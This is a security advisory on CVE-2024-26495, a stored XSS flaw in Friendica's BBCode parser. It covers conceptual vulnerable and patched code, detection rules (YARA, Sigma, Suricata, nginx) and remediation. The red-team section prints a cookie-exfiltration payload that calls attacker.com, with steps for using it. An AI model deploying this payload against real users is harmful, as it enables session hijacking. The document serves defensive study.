CVE-2024-26495

Executive Summary

CVE-2024-26495 identifies a stored Cross-Site Scripting (XSS) vulnerability in Friendica, a decentralized social networking platform. The flaw resides in the handling of BBCode tags within post content and comments. An unauthenticated remote attacker can inject arbitrary JavaScript code through crafted BBCode, which is then executed in the browsers of other users viewing the affected content. This can lead to session hijacking, credential theft, and sensitive data exfiltration. The vulnerability affects versions after v.2023.12, and no official patch has been released at the time of analysis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to inject.
• User Interaction: Required (UI:R) – Victim must view the malicious post/comment.
• Scope: Changed (S:C) – Compromise impacts resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited ability to modify content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for widespread exploitation in Friendica instances elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) within Friendica's BBCode parser. BBCode is a lightweight markup language used for formatting posts and comments. The parser fails to properly sanitize or encode certain BBCode tags, allowing an attacker to inject HTML and JavaScript.

Attack Flow:

1. An attacker crafts a post or comment containing malicious BBCode, e.g., [url=javascript:alert('XSS')]Click here[/url] or [img]javascript:alert('XSS')[/img].
2. The attacker submits the content to a Friendica instance.
3. The server stores the malicious BBCode without proper sanitization.
4. When another user views the post or comment, the BBCode parser renders the malicious code, executing the JavaScript in the victim's browser context.

Root Cause: Insufficient input validation and output encoding in the BBCode rendering engine. The parser likely allows dangerous attributes (e.g., javascript: in URLs) or fails to escape special characters.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// BBCode parser that does not sanitize URL attributes
function parseBBCode($text) {
    $text = preg_replace('/\[url=(.*?)\](.*?)\[\/url\]/i', '<a href="$1">$2</a>', $text);
    return $text;
}

This directly inserts user-supplied $1 into the href attribute without validation.

Patched Code (Conceptual):

function parseBBCode($text) {
    $text = preg_replace_callback('/\[url=(.*?)\](.*?)\[\/url\]/i', function($matches) {
        $url = filter_var($matches[1], FILTER_VALIDATE_URL);
        if ($url === false) {
            return htmlspecialchars($matches[0]); // Escape entire match
        }
        return '<a href="' . htmlspecialchars($url) . '">' . htmlspecialchars($matches[2]) . '</a>';
    }, $text);
    return $text;
}

This validates the URL and escapes output.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A Friendica instance running version >= 2023.12.
• Ability to create a post or comment (may require registration, but the vulnerability is triggered on viewing).

Exploit Payload Example:

[url=javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)]Click for cute cats[/url]

Steps:

1. Register an account on the target Friendica instance.
2. Create a new post or comment with the malicious BBCode.
3. Share the link to the post with the victim.
4. When the victim views the post, the JavaScript executes, exfiltrating their session cookie.

Alternative Payload (Image Tag):

[img]javascript:alert('XSS')[/img]

Blue Team (Detection & Defense)

Detection:

• Monitor for posts/comments containing suspicious BBCode patterns (e.g., javascript:, onerror=, onload=).
• Use WAF rules to block requests with javascript: in BBCode parameters.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Defense:

• Apply input validation and output encoding to all BBCode tags.
• Use a whitelist of allowed URL schemes (e.g., http, https, ftp).
• Regularly update Friendica to the latest version (once patch is available).
• Educate users about the risks of clicking on suspicious links.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
• Requests with javascript: in the href or src attributes of BBCode tags.

Host IOCs:

• Log entries showing posts/comments with javascript: in BBCode.
• Unusual JavaScript execution in browser console when viewing Friendica content.

File IOCs:

• Modified BBCode parser files (e.g., include/bbcode.php) containing insecure regex patterns.

Detection Engineering

YARA Rule

rule CVE_2024_26495_BBCode_XSS {
    meta:
        description = "Detects malicious BBCode patterns exploiting CVE-2024-26495"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-26495"
    strings:
        $bbcode_url = /\[url\s*=\s*(?:javascript|vbscript|data):/i
        $bbcode_img = /\[img\s*\].*?(?:javascript|vbscript|data):/i
        $bbcode_event = /\[.*?\s+on\w+\s*=\s*['"]?javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-26495 Friendica BBCode XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS via BBCode in Friendica
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'javascript:'
            - 'vbscript:'
            - 'data:'
        cs-uri-stem|contains: '/post'  # Adjust based on Friendica endpoints
    condition: selection
falsepositives:
    - Legitimate use of BBCode with external URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-26495 Friendica BBCode XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/post"; http_uri; content:"javascript:"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable BBCode parsing in Friendica configuration until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block requests containing javascript: in BBCode parameters.
3. Restrict user registration to trusted users only.

Long-term Fix:

• Apply the official patch once released by the Friendica project.
• Upgrade to a patched version (monitor https://github.com/friendica/friendica for updates).
• Conduct a code review of the BBCode parser to ensure all tags are properly sanitized.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter malicious payloads:

location / {
    if ($request_body ~* "\[url\s*=\s*(javascript|vbscript|data):") {
        return 403;
    }
}

Valters IT
Securing Digital Frontiers